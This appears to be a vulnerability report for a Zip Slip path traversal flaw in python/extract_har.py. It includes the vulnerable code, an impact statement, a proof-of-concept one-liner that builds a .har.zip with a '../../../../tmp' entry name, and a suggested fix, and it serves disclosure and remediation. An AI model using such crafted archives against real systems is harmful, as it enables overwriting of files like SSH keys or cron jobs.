Arbitrary file write / Path traversal in python/extract_har.py

[PierrePrevostAvenel]

Description

A Path Traversal (Zip Slip) vulnerability exists in python/extract_har.py during archive extraction.

When extracting entries from a HAR zip archive, the script constructs target output file paths using unvalidated entries (_file reference or parsed URL path) via output_dir / file_ref or output_dir / path. If an archive contains directory traversal sequences (../) or absolute paths, the script writes files outside the designated output_dir, leading to arbitrary file creation or overwriting on the host filesystem.

Vulnerable Code Location

In python/extract_har.py (lines 112-130):

outpath = output_dir / file_ref
...
outpath.parent.mkdir(parents=True, exist_ok=True)
...
outpath.write_bytes(file_content)

Similarly, when using the --paths option, extract_path_from_url(request_url) only strips the leading slash via parsed.path.lstrip("/"), without preventing ../ traversal from escaping the destination directory.

Impact

• Severity: High
• Vulnerability Type: Path Traversal / Arbitrary File Overwrite (CWE-22)
• An attacker providing a crafted .har.zip archive can write or overwrite arbitrary files anywhere the current user has write permissions (e.g. system files, configuration files, SSH keys, cron jobs).

Steps to Reproduce (PoC)

1. Generate a malicious archive:

python3 -c "import zipfile, json
har = {'log': {'entries': [{'response': {'content': {'mimeType': 'text/plain', '_file': '../../../../tmp/har_pwned.txt'}}}]}}
with zipfile.ZipFile('/tmp/test_malicious.har.zip', 'w') as z:
    z.writestr('har.har', json.dumps(har))
    z.writestr('../../../../tmp/har_pwned.txt', 'INJECTED CONTENT USING PATH TRAVERSAL')
"

2. Run extract_har.py extracting into an isolated target folder (./safe_dir):

python3 python/extract_har.py /tmp/test_malicious.har.zip text/plain -o ./safe_dir

3. Verify that the file was written to /tmp/har_pwned.txt instead of staying inside ./safe_dir:

cat /tmp/har_pwned.txt

Suggested Fix

Verify that the resolved target path is strictly contained within the resolved output directory before writing:

resolved_outpath = (output_dir / file_ref).resolve()
base_dir = output_dir.resolve()

if not resolved_outpath.is_relative_to(base_dir):
    click.echo(f"Warning: Skipping unsafe path {file_ref}", err=True)
    continue